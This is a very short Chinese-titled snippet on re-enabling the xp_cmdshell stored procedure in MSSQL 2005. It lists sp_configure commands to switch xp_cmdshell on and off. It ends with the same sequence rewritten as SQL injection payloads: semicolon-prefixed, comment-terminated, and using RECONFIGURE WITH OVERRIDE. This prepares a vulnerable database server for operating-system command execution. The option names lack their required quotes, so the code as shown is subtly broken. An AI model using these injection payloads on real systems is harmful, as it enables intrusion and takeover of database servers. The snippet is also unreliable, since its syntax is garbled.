mssql2005恢复xp_cmdshell存储过程的方法

EXEC sp_configure show advanced options, 1;
RECONFIGURE;
EXEC sp_configure xp_cmdshell, 1;
RECONFIGURE;

EXEC sp_configure show advanced options, 1;
RECONFIGURE;
EXEC sp_configure xp_cmdshell, 0;
RECONFIGURE;

EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;--

or :
;EXEC sp_configure show advanced options, 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure xp_cmdshell, 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure show advanced options, 0 --